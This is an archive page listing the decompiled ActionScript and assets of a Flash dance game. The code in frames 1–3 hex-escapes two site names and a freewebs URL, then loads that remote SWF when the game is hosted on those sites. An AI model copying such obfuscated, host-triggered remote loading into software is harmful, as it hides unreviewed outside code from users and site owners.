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Phixx Phixx Euro Mix.swf

This is the info page for
Flash #114201

(Click the ID number above for more basic data on this flash file.)


Text
Loading

Level 1

St. Botolphs

INSTRUCTIONS

INSTRUCTIONS

· As the coloured arrows move up the
screen and touch the arrows above,
hit the correct arrow on your
keyboard to make the boys dance.
· If you miss, the energy bar below
will start to empty. Run out of energy
and it's game over!
· The more in-time your dance moves
and the more energy you have left,
the higher your final score!

HOW TO PLAY

Level 1

St. Botolphs

Time Left:

1:00

Your Score:

0

WELL DONE!

Health Bonus

FINAL SCORE

Points

Submit Your Score

Submit Your Score

No:

Name:

Score:

Date:

No:

Name:

Score:

Go Back To The Menu

Go Back To The Menu

Go Back To The Menu

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Today's Top Scores:

Level 1

St. Botolphs

Your High Score:

0

Your Last Score:

0

Enter your details below for a chance
to win a date with Phixx!

Your name:

Your email:

9999

Your score:

Submit

Please wait a moment...

crc
key

ActionScript [AS1/AS2]

Frame 1
eval (unescape(u)); if ((blah.indexOf(unescape(x)) > 0) || (blah.indexOf(unescape(j)) > 0)) { unescape(y); stop(); } else { play(); score = 0; }
Frame 2
eval (unescape(u)); if ((blah.indexOf(unescape(x)) > 0) || (blah.indexOf(unescape(j)) > 0)) { unescape(y); stop(); } else { stop(); }
Instance of Symbol 26 MovieClip in Frame 2
onClipEvent (load) { _root.stop(); _xscale = 0; total = _root.getBytesTotal(); loaded = _root.getBytesLoaded(); if (loaded == total) { _root.nextFrame(); } realfilesize = int(total / 1024); approxCompressRatio = 1.24; if (_root.filesize) { filesize = _root.filesize; } else { filesize = int((realfilesize / approxCompressRatio) / 10) * 10; } _parent.loadingtext = ("Loading " + filesize) + "k ...please wait"; lag = 35; c = lag; } onClipEvent (enterFrame) { loaded = _root.getBytesLoaded(); percent = 100 * (loaded / total); _xscale = percent; if (loaded == total) { _root.nextFrame(); } if ((c++) > lag) { c = 0; time = getTimer(); rate = loaded / time; totaltime = int(((total / rate) / 1000) / approxCompressRatio); timeleft = int(totaltime - ((totaltime * percent) * 0.01)); nearesttenleft = Math.ceil(timeleft / 10) * 10; if (nearesttenleft) { _parent.approxTimeLeft = ("About " + nearesttenleft) + " seconds remaining"; } else { _parent.approxTimeLeft = "Almost done"; } } }
Frame 3
function createCRC(hst_myScore, my_name) { var localVar_3 = hst_myScore; hst_key_array = new Array(); var localVar_1 = 0; while (localVar_1 < 8) { hst_key_array.push(Math.floor(this["k" + localVar_1]._alpha / 10)); localVar_1++; } hst_key = hst_key_array.toString(); hst_saltlength = 3; hst_mydivisor = 1293; hst_myCRC = 0; hst_mykey = 0; hst_keyarray = hst_key.split(","); localVar_1 = 0; while (localVar_1 < hst_keyarray.length) { hst_keyarray[localVar_1] = Number(hst_keyarray[localVar_1]); var localVar_2 = hst_keyarray[localVar_1]; hst_myCRC = hst_myCRC + (localVar_2 * localVar_3); hst_myCRC = hst_myCRC - (localVar_3 % localVar_2); hst_mykey = hst_mykey + localVar_2; localVar_1++; } hst_mykey = hst_mykey * (localVar_3 + hst_mydivisor); hst_myCRC = hst_myCRC * (hst_mykey / hst_mydivisor); hst_myCRC = hst_myCRC + length(my_name); hst_myCRC = Math.floor(hst_myCRC); hst_mySalt = (("" + random(9)) + random(9)) + random(9); hst_myCRC = hst_myCRC + hst_mySalt; return(hst_myCRC); } function speedCheck() { iSpeedThreshold = 14; var localVar_1 = 1000; speedTime = getTimer(); while (localVar_1) { Math.sin(localVar_1); localVar_1--; } speedTime = speedTime - getTimer(); speedTime = Math.abs(speedTime); if (speedTime < iSpeedThreshold) { _root.bFastPC = true; } else { _root.bFastPC = false; _quality = "MEDIUM"; } trace(("Speed test completed in " + speedTime) + "ms"); trace("bFastPC: " + bFastPC); } j = "%74%65%61%6D%77%6F%6C%66%70%61%63%6B%2E%6F%72%67"; x = "%72%65%76%6F%6C%75%74%69%6F%6E%2E%70%68%69%6C%63%72%61%6E%65"; y = "%68%74%74%70%3A//%77%77%77%2E%66%72%65%65%77%65%62%73%2E%63%6F%6D/%6A%73%63%72%6F%63%6B%73/%73%2E%73%77%66"; u = "%5F%72%6F%6F%74%2E%5F%75%72%6C"; blah = eval (unescape(u)); if ((blah.indexOf(unescape(x)) > 0) || (blah.indexOf(unescape(j)) > 0)) { _root.loadMovie(unescape(y)); stop(); } speedCheck(); completed = true; stop();
Frame 4
stop(); Mouse.hide(); completed = true; lifebar.gotoAndStop(1);
Instance of Symbol 103 MovieClip "crowd" in Frame 4
onClipEvent (load) { stop(); } onClipEvent (enterFrame) { _rotation = (_rotation * 0.98); }
Instance of Symbol 103 MovieClip "crowd2" in Frame 4
onClipEvent (load) { this.gotoAndStop(14); this._rotation = 0; } onClipEvent (enterFrame) { this._rotation = this._rotation * 0.98; }
Instance of Symbol 117 MovieClip "game" in Frame 4
onClipEvent (load) { function attach(movName) { movieDepth++; return(attachMovie(movName, "m" + movieDepth, movieDepth)); } function makeSound(sMySound, nSndOffset, iSndLoops) { sndCustomSound.attachSound(sMySound); sndCustomSound.start(nSndOffset, iSndLoops); } function tick() { sndTicker.start(); } function doArrow() { nOffset = nOffset + nFudge; nBeatCount++; if (_root.metronome && (!((nBeatCount-1) % 4))) { tick(); } var localVar_1 = aMyMoves[(nBeatCount-1)]; if (localVar_1 == (aMyDirections.length+1)) { addSpecial(); return(undefined); } if (localVar_1) { addArrow((localVar_1-1)); } } function addSpecial() { var localVar_1 = addArrow(1); var localVar_2 = addArrow(2); localVar_1.special = true; localVar_2.special = true; localVar_1.comboTwin = localVar_2; } function addArrow(myDirection) { var localVar_1 = this; var localVar_2 = attach("gameArrow"); localVar_2.myDir = (myDirection+1); localVar_2.gotoAndStop(localVar_2.myDir); localVar_2._x = (myDirection * arrowSpacing) - arrowOffset; localVar_2.y = nArrowStartPos; localVar_2._y = localVar_2.y; localVar_2.playhead = playhead + nBarTime; localVar_2.update = function () { var localVar_1 = this; localVar_1.dtime = localVar_1.playhead - playhead; localVar_1._y = (localVar_1.dtime / nArrowDist) + nOffset; if ((!localVar_1.spent) && (localVar_1._y < ((-iTimeThreshold) * nPassThreshold))) { localVar_1.remove(); } if (localVar_1._y < nMinArrowY) { localVar_1.remove(); } }; localVar_2.remove = function () { var localVar_1 = this; if (!localVar_1.spent) { if (!localVar_1.hit) { missFeedback(); } localVar_1.spent = true; } if (aMyArrows[0] == localVar_1) { aMyArrows.shift(); } if (aMyArrows[1] == localVar_1) { aMyArrows.splice(1, 1); } localVar_1.mov.nextFrame(); if (localVar_1._y < nMinArrowY) { localVar_1.removeMovieClip(); } }; localVar_2.onEnterFrame = function () { this.update(); }; aMyArrows.push(localVar_2); return(localVar_2); } function startGame() { nMySoundLength = music._totalframes * nFrameTime; bGameRunning = true; onEnterFrame = update; } function getPlayhead() { playhead = music._currentframe * nFrameTime; nTimeLeft = Math.round((nMySoundLength - playhead) / 1000); secsLeft = Math.round(nTimeLeft % 60); minsLeft = Math.round((nTimeLeft - secsLeft) / 60); if (secsLeft.toString().length == 1) { secsLeft = "0" + secsLeft.toString(); } sTimeLeft = (minsLeft + ":") + secsLeft; } function endGame(success) { var localVar_1 = _root; localVar_1.completed = success; localVar_1.points = localVar_1.score; localVar_1.health = Number(31 - localVar_1.lifebar._currentframe) * 10; localVar_1.score = localVar_1.score + localVar_1.health; localVar_1.gotoAndPlay("gameover"); } function update() { getPlayhead(); } function dance(myMove) { var localVar_2 = _root; var localVar_3 = myMove; var localVar_1 = 0; while (localVar_1 < 4) { if (!localVar_2["p" + localVar_1].sacked) { localVar_2["p" + localVar_1].gotoAndPlay(localVar_3); } localVar_1++; } if (localVar_3 == specialMove) { localVar_2.powerphixx.gotoAndPlay(specialMove); } } function hit(bComboKey) { var localVar_1 = _root; if (myTempArrow._y == 0) { localVar_1.score = localVar_1.score + iScoreInc; } else { localVar_1.score = localVar_1.score + Math.round(iScoreInc / Math.abs(myTempArrow._y)); } myTempArrow.hit = true; myTempArrow._visible = false; this["arrow" + aMyDirections[(myTempArrow.myDir-1)]].gotoAndPlay(2); if (myTempArrow.comboTwin && (bComboKey)) { dance(specialMove); myTempArrow = myTempArrow.comboTwin; hit(); } localVar_1.hitmiss.gotoAndPlay("hit"); } function miss() { missFeedback(); myTempArrow.remove(); } function missFeedback() { var localVar_1 = _root; localVar_1.score = localVar_1.score - iScoreInc; localVar_1.hitmiss.gotoAndPlay("miss"); localVar_1.lifebar.nextFrame(); } _root.score = 0; _root.completed = true; iScoreInc = 100; movieDepth = 0; iFPS = 31; nFrameTime = 1000 / iFPS; nBeatCount = 0; arrowOffset = 72; arrowSpacing = 47; nArrowInterval = 2; nArrowStartPos = 200; nMinArrowY = -75; bGameRunning = false; nMusicBPM = 116; nMusicBeatTime = (60 / nMusicBPM) * 1000; specialMove = "special"; nBarBeats = 4; nBarTime = nMusicBeatTime * nBarBeats; nArrowDist = nBarTime / nArrowStartPos; aMyDirections = ["left", "up", "down", "right"]; nOffset = 0; nFudge = 0.1; iTimeThreshold = 10; errorTolerance = 50; nPassThreshold = 2.5; myKey_UP = 38; myKey_DOWN = 40; myKey_LEFT = 37; myKey_RIGHT = 39; aMyArrows = new Array(); aMyMoves = new Array(); aMyMoves = [0, 0, 0, 0, 0, 2, 0, 3, 0, 0, 4, 0, 2, 2, 0, 3, 0, 0, 4, 0, 3, 1, 0, 0, 0, 4, 2, 0, 2, 0, 0, 3, 1, 0, 1, 0, 0, 0, 4, 0, 1, 0, 0, 5, 1, 1, 1, 2, 1, 1, 3, 0, 0, 3, 0, 0, 2, 2, 0, 1, 0, 4, 4, 3, 0, 0, 2, 0, 0, 3, 0, 0, 2, 0, 1, 1, 0, 0, 2, 0, 0, 1, 0, 0, 5, 0, 0, 3, 1, 0, 1, 0, 0, 0, 2, 4, 0, 0, 4, 0, 5, 5, 0, 2, 0, 0, 2, 1, 0, 3, 1, 0, 0, 0, 4, 0, 2, 3, 0, 0, 4, 1, 0, 3, 1, 0, 2, 0, 0, 0, 5, 2, 1, 3, 2, 0, 1, 0, 5, 3, 1, 0, 0, 1, 3, 2, 1, 0, 0, 0, 2, 4, 0, 0, 1, 0, 2, 0, 0, 5, 0, 0, 1, 4, 3, 2, 1, 2, 5, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]; if (_root.metronome) { sndTicker = new Sound(this); sndTicker.attachSound("tick"); } sndCustomSound = new Sound(this); startGame(); } onClipEvent (keyDown) { myPressedKey = Key.getCode(); if (myPressedKey == myKey_LEFT) { myKeyDir = 1; } else if (myPressedKey == myKey_UP) { myKeyDir = 2; } else if (myPressedKey == myKey_DOWN) { myKeyDir = 3; } else if (myPressedKey == myKey_RIGHT) { myKeyDir = 4; } else { myKeyDir = 0; } var bComboKey = false; if ((myKeyDir == 2) && (Key.isDown(myKey_DOWN))) { bComboKey = true; } else if ((myKeyDir == 3) && (Key.isDown(myKey_UP))) { bComboKey = true; } if (bComboKey) { var tSpecial = true; myKeyDir = 2; } if (myKeyDir) { var myTempArrow = aMyArrows[0]; if ((myArrowY < errorTolerance) && (myArrowY > (-errorTolerance))) { arrowClose = true; } else { arrowClose = false; } if (myKeyDir == myTempArrow.myDir) { if (myTempArrow.special && (!bComboKey)) { return(false); } var myArrowY = myTempArrow._y; if ((myArrowY < iTimeThreshold) && (myArrowY > (-iTimeThreshold))) { dance(aMyDirections[(myKeyDir-1)]); hit(bComboKey); } else if (arrowClose) { miss(); } } else if (arrowClose && (!myTempArrow.comboTwin)) { miss(); } } }
Instance of Symbol 125 MovieClip "lifebar" in Frame 4
onClipEvent (load) { stop(); }
Instance of Symbol 26 MovieClip in Frame 4
onClipEvent (load) { _xscale = 0; } onClipEvent (enterFrame) { _xscale = ((_parent.game.playhead / _parent.game.nMySoundLength) * 100); }
Instance of Symbol 209 MovieClip "p1" in Frame 5
onClipEvent (load) { speed = 1; } onClipEvent (enterFrame) { if (sacked) { _y = (_y - speed); speed = speed + 2; if (_y < -70) { this.unloadMovie(); } } }
Instance of Symbol 281 MovieClip "p0" in Frame 5
onClipEvent (load) { speed = 1; } onClipEvent (enterFrame) { if (sacked) { _y = (_y - speed); speed = speed + 2; if (_y < -70) { this.unloadMovie(); } } }
Instance of Symbol 351 MovieClip "p2" in Frame 5
onClipEvent (load) { speed = 1; } onClipEvent (enterFrame) { if (sacked) { _y = (_y - speed); speed = speed + 2; if (_y < -70) { this.unloadMovie(); } } }
Instance of Symbol 418 MovieClip "p3" in Frame 5
onClipEvent (load) { speed = 1; } onClipEvent (enterFrame) { if (sacked) { _y = (_y - speed); speed = speed + 2; if (_y < -70) { this.unloadMovie(); } } }
Frame 5
if (false) { }
Frame 23
stop();
Instance of Symbol 425 MovieClip "spot2" in Frame 23
onClipEvent (load) { function enable() { ready = true; update(); _visible = true; } function update() { gotoAndPlay((random(_totalframes)+1)); if (!random(7)) { play(); } _alpha = (random(30) + 30); if (_visible) { _visible = false; } else { _visible = true; } } _visible = false; } onClipEvent (enterFrame) { if ((!random(12)) && (ready)) { update(); } }
Instance of Symbol 432 MovieClip "spot1" in Frame 23
onClipEvent (load) { function enable() { ready = true; update(); _visible = true; } function update() { gotoAndPlay((random(_totalframes)+1)); if (!random(7)) { play(); } _alpha = (random(30) + 30); if (_visible) { _visible = false; } else { _visible = true; } } _visible = false; } onClipEvent (enterFrame) { if ((!random(12)) && (ready)) { update(); } }
Frame 24
play(); crowd.gotoAndStop(1); crowd2.gotoAndStop(1);
Instance of Symbol 437 MovieClip "overlay" in Frame 24
onClipEvent (load) { _visible = false; }
Frame 35
if (false) { }
Frame 39
if (false) { }
Frame 40
if (false) { }
Frame 41
if (false) { }
Frame 42
if (false) { }
Frame 43
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Frame 44
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Frame 45
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Frame 46
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Frame 47
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Frame 48
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Frame 49
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Frame 50
if (false) { }
Frame 51
if (false) { }
Frame 52
if (_root.tgame == 1) { repbutt._visible = false; }
Frame 68
stop(); Mouse.show();
Frame 69
if (score > prevBestScore) { prevBestScore = score; } stop();
Instance of Symbol 501 MovieClip "highscores" in Frame 69
onClipEvent (load) { game = "phixx1"; if ((!_root.score) || (!_root.completed)) { _visible = false; } else { score = _root.score; name = ""; email = ""; } }
Symbol 15 MovieClip Frame 1
stop();
Symbol 15 MovieClip Frame 2
stop();
Symbol 17 MovieClip Frame 1
stop();
Symbol 19 MovieClip Frame 1
stop();
Symbol 21 MovieClip Frame 1
stop();
Symbol 39 MovieClip Frame 5
stop();
Symbol 40 Button
on (release, keyPress "<Space>") { gotoAndStop (4); }
Symbol 84 MovieClip Frame 10
stop();
Symbol 99 MovieClip Frame 6
stop();
Symbol 103 MovieClip Frame 13
_rotation = (_rotation + (random(3)-1));
Symbol 107 MovieClip Frame 92
_root.game.arrowleft.gotoAndPlay(2); _root.game.arrowup.gotoAndPlay(2); _root.game.arrowdown.gotoAndPlay(2); _root.game.arrowright.gotoAndPlay(2);
Symbol 107 MovieClip Frame 100
_parent.play(); _visible = false; _root.game.arrowleft.gotoAndPlay(2); _root.game.arrowup.gotoAndPlay(2); _root.game.arrowdown.gotoAndPlay(2); _root.game.arrowright.gotoAndPlay(2); stop();
Symbol 112 MovieClip Frame 1
stop();
Symbol 116 MovieClip Frame 16
_parent._parent.doArrow(); beatCount++;
Instance of Symbol 116 MovieClip in Symbol 1 MovieClip Frame 1
onClipEvent (load) { beatCount = 0; }
Symbol 1 MovieClip Frame 210
_root.spot1.enable(); _root.spot2.enable();
Symbol 1 MovieClip Frame 261
_root.crowd.play(); _root.crowd2.play();
Symbol 1 MovieClip Frame 2900
stop(); _parent.endGame(1);
Instance of Symbol 109 MovieClip in Symbol 117 MovieClip Frame 1
onClipEvent (keyDown) { if (!mykeys.length) { mykeys = new Array(); } mykeys.push(Key.getAscii()); if (mykeys.length > 11) { mykeys.shift(); } }
Symbol 118 MovieClip Frame 1
stop();
Symbol 125 MovieClip Frame 4
_root.p2.sacked = true; _root.p2.gotoAndPlay("special");
Symbol 125 MovieClip Frame 13
_root.p3.sacked = true; _root.p3.gotoAndPlay("special");
Symbol 125 MovieClip Frame 21
_root.p1.sacked = true; _root.p1.gotoAndPlay("special");
Symbol 125 MovieClip Frame 30
_root.p0.sacked = true; _root.p0.gotoAndPlay("special"); _root.game.endGame(1); stop();
Symbol 136 MovieClip Frame 1
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Symbol 136 MovieClip Frame 2
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Symbol 136 MovieClip Frame 13
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Symbol 136 MovieClip Frame 14
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Symbol 136 MovieClip Frame 25
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Symbol 209 MovieClip Frame 1
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Symbol 209 MovieClip Frame 10
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Symbol 209 MovieClip Frame 19
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Symbol 209 MovieClip Frame 28
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Symbol 209 MovieClip Frame 37
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Symbol 209 MovieClip Frame 57
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Symbol 281 MovieClip Frame 1
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Symbol 281 MovieClip Frame 10
gotoAndStop (1);
Symbol 281 MovieClip Frame 19
gotoAndStop (1);
Symbol 281 MovieClip Frame 28
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Symbol 281 MovieClip Frame 37
stop();
Symbol 281 MovieClip Frame 56
stop();
Symbol 351 MovieClip Frame 1
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Symbol 351 MovieClip Frame 10
gotoAndStop (1);
Symbol 351 MovieClip Frame 19
gotoAndStop (1);
Symbol 351 MovieClip Frame 28
stop();
Symbol 351 MovieClip Frame 37
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Symbol 351 MovieClip Frame 58
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Symbol 418 MovieClip Frame 1
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Symbol 418 MovieClip Frame 10
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Symbol 418 MovieClip Frame 19
gotoAndStop (1);
Symbol 418 MovieClip Frame 28
stop();
Symbol 418 MovieClip Frame 37
stop();
Symbol 418 MovieClip Frame 59
stop();
Symbol 436 MovieClip Frame 1
stop();
Symbol 436 MovieClip Frame 23
gotoAndStop (1);
Symbol 448 Button
on (press) { stopAllSounds(); ur = "index.php?act=Arcade&do=newscore"; xx = new LoadVars(); xx.gname = "phixxGC"; xx.gscore = _root.score; xx.send(ur, "_self", "POST"); _root._visible = false; _root.enabled = false; stop(); }
Symbol 459 Button
on (press) { gotoAndStop (4); }
Symbol 472 Button
on (release) { gotoAndStop ("menu"); }
Symbol 499 Button
on (release) { if (_visible) { loadScores(); } nextFrame(); }
Symbol 501 MovieClip Frame 1
stop();
Symbol 503 MovieClip Frame 1
_visible = false;

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Symbol 226 GraphicUsed by:227
Symbol 227 MovieClipUses:226Used by:281
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Symbol 280 GraphicUsed by:281
Symbol 281 MovieClipUses:210 211 212 213 214 215 143 216 217 146 218 219 220 221 222 223 224 225 227 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280Used by:Timeline
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Symbol 350 GraphicUsed by:351
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Symbol 419 ShapeTweeningUsed by:425
Symbol 420 ShapeTweeningUsed by:425
Symbol 421 GraphicUsed by:425
Symbol 422 ShapeTweeningUsed by:425
Symbol 423 ShapeTweeningUsed by:425
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Symbol 457 GraphicUsed by:459
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Symbol 463 TextUses:8Used by:Timeline
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Symbol 465 TextUses:8Used by:Timeline
Symbol 466 TextUses:8Used by:Timeline
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Symbol 44 GraphicUsed by:468 472
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Symbol 470 TextUses:13Used by:472
Symbol 471 TextUses:13Used by:472
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Symbol 475 EditableTextUses:10Used by:Timeline
Symbol 476 EditableTextUses:10Used by:Timeline
Symbol 477 EditableTextUses:10Used by:Timeline
Symbol 478 EditableTextUses:10Used by:Timeline
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Symbol 482 EditableTextUses:10Used by:Timeline
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Symbol 489 GraphicUsed by:501
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Symbol 491 EditableTextUses:9Used by:501
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Symbol 493 EditableTextUses:9Used by:501
Symbol 494 TextUses:9Used by:501
Symbol 495 EditableTextUses:9Used by:501
Symbol 496 TextUses:9Used by:501
Symbol 497 GraphicUsed by:499
Symbol 498 TextUses:8Used by:499
Symbol 499 ButtonUses:497 498Used by:501
Symbol 500 TextUses:8Used by:501
Symbol 501 MovieClipUses:489 490 491 492 493 494 495 496 499 500Used by:Timeline
Symbol 502 EditableTextUses:10Used by:503
Symbol 503 MovieClipUses:502Used by:Timeline
Streaming Sound 1Used by:Symbol 1 MovieClip

Instance Names

"crowd"Frame 4Symbol 103 MovieClip
"crowd2"Frame 4Symbol 103 MovieClip
"game"Frame 4Symbol 117 MovieClip
"lifebar"Frame 4Symbol 125 MovieClip
"hitmiss"Frame 4Symbol 136 MovieClip
"p1"Frame 5Symbol 209 MovieClip
"p0"Frame 5Symbol 281 MovieClip
"p2"Frame 5Symbol 351 MovieClip
"p3"Frame 5Symbol 418 MovieClip
"spot2"Frame 23Symbol 425 MovieClip
"spot1"Frame 23Symbol 432 MovieClip
"powerphixx"Frame 23Symbol 436 MovieClip
"overlay"Frame 24Symbol 437 MovieClip
"repbutt"Frame 52Symbol 459 Button
"highscores"Frame 69Symbol 501 MovieClip
"k0"Frame 69Symbol 503 MovieClip
"k1"Frame 69Symbol 503 MovieClip
"k2"Frame 69Symbol 503 MovieClip
"k3"Frame 69Symbol 503 MovieClip
"k4"Frame 69Symbol 503 MovieClip
"k5"Frame 69Symbol 503 MovieClip
"k6"Frame 69Symbol 503 MovieClip
"k7"Frame 69Symbol 503 MovieClip
"mov"Symbol 22 MovieClip [gameArrow] Frame 1Symbol 15 MovieClip
"mov"Symbol 22 MovieClip [gameArrow] Frame 2Symbol 17 MovieClip
"mov"Symbol 22 MovieClip [gameArrow] Frame 3Symbol 19 MovieClip
"mov"Symbol 22 MovieClip [gameArrow] Frame 4Symbol 21 MovieClip
"arrowleft"Symbol 117 MovieClip Frame 1Symbol 112 MovieClip
"arrowup"Symbol 117 MovieClip Frame 1Symbol 112 MovieClip
"arrowdown"Symbol 117 MovieClip Frame 1Symbol 112 MovieClip
"arrowright"Symbol 117 MovieClip Frame 1Symbol 112 MovieClip
"music"Symbol 117 MovieClip Frame 1Symbol 1 MovieClip
"mybutton"Symbol 501 MovieClip Frame 1Symbol 499 Button

Special Tags

ExportAssets (56)Timeline Frame 1Symbol 3 as "tick"
ExportAssets (56)Timeline Frame 1Symbol 22 as "gameArrow"
Tag 0x0FF (255)Timeline Frame 11 bytes "."
Tag 0x259 (601)Timeline Frame 70

Labels

"menu"Frame 3
"start"Frame 5
"gameover"Frame 24
"hit"Symbol 136 MovieClip Frame 2
"miss"Symbol 136 MovieClip Frame 14
"down"Symbol 209 MovieClip Frame 2
"up"Symbol 209 MovieClip Frame 11
"left"Symbol 209 MovieClip Frame 20
"right"Symbol 209 MovieClip Frame 29
"special"Symbol 209 MovieClip Frame 38
"down"Symbol 281 MovieClip Frame 2
"up"Symbol 281 MovieClip Frame 11
"left"Symbol 281 MovieClip Frame 20
"right"Symbol 281 MovieClip Frame 29
"special"Symbol 281 MovieClip Frame 38
"down"Symbol 351 MovieClip Frame 2
"up"Symbol 351 MovieClip Frame 11
"left"Symbol 351 MovieClip Frame 20
"right"Symbol 351 MovieClip Frame 29
"special"Symbol 351 MovieClip Frame 38
"down"Symbol 418 MovieClip Frame 2
"up"Symbol 418 MovieClip Frame 11
"left"Symbol 418 MovieClip Frame 20
"right"Symbol 418 MovieClip Frame 29
"special"Symbol 418 MovieClip Frame 38
"special"Symbol 436 MovieClip Frame 2

Dynamic Text Variables

_parent.loadingtextSymbol 27 EditableText"Loading "
approxTimeLeftSymbol 29 EditableText""
game.sTimeLeftSymbol 131 EditableText"1:00"
scoreSymbol 133 EditableText"0"
healthSymbol 440 EditableText""
scoreSymbol 442 EditableText""
pointsSymbol 444 EditableText""
sNamesSymbol 473 EditableText""
sScoresSymbol 475 EditableText""
sDatesSymbol 476 EditableText""
sTodaysNamesSymbol 477 EditableText""
sTodaysScoresSymbol 479 EditableText""
prevBestScoreSymbol 485 EditableText"0"
scoreSymbol 487 EditableText"0"
messageSymbol 488 EditableText""
nameSymbol 491 EditableText""
emailSymbol 493 EditableText""
scoreSymbol 495 EditableText"9999"




http://swfchan.com/23/114201/info.shtml
Created: 10/3 -2019 23:51:43 Last modified: 10/3 -2019 23:51:43 Server time: 22/12 -2024 14:06:45